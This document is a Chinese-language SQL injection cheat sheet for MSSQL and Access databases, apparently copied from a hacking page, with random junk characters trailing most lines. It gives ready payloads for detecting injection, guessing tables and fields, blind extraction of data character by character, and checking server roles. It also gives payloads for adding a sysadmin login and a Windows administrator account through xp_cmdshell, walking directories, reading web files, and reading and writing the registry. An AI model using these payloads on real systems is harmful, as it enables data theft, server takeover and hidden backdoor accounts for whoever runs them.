1.判断是否有注入;and 1=1 ;and 1=2 r/'9@oM
2.初步判断是否是mssql ;and user>0 Pf;'eOdp
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3.注入参数是字符'and [查询条件] and ''=' kmPK |R
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' =k6zUw;5 U
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5.判断数据库系统 MO&QR-OY
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;and (select count(*) from msysobjects)>0 access 6Ae <W7
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 4wh_iO
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 SO%x=W
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 h~haA8i?{
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9.(1)猜字段的ascii值(access) %7%7
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 6I GUp
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(2)猜字段的ascii值(mssql) ;SoKX?up5
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 |@?B%sY
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10.测试权限结构(mssql) |6w.m<p
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- P/snzm|@
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- rU<NHFGj4
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- h1@|UxaE#
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- g\;AU2?p7
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- <6^MVaD
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- N p9N#m?
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;and 1=(select IS_MEMBER('db_owner'));-- f>\OT
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11.添加mssql和系统的帐户 Z*S
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;exec master.dbo.sp_addlogin username;-- Jv1igA21_h
;exec master.dbo.sp_password null,username,password;-- ?Q1(L$-=
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- %Z~,F?
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;exec master.dbo.xp_cmdshell 'net user username password hgMh]4wN*
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- %"^$$$6%
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3|zqEGT*
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- wLwAtjW)
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12.(1)遍历目录 csE 9Ns
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;create table dirs(paths varchar(100), id int) g+Vfd(e
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 9Axk-c
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;and (select top 1 paths from dirs)>0 ]:`q/iS&
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) fy04/_,q
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- UMR0S5`}
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 >m='#x0>Y
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ?8[,0l:|
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 jqq96hP,
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 tiG=KHK%o
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13.mssql中的存储过程 RM\it"g
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xp_regenumvalues 注册表根键, 子键 Dyv 6K_,
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 xCwd*lsM
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xp_regread 根键,子键,键值名 N*z_rZE
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2RXU75VY
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xp_regwrite 根键,子键, 值名, 值类型, 值 8 tMfh
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ^ FNvVbK|`
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
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xp_regdeletevalue 根键,子键,值名 Eukj2a
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ]la8MaZ<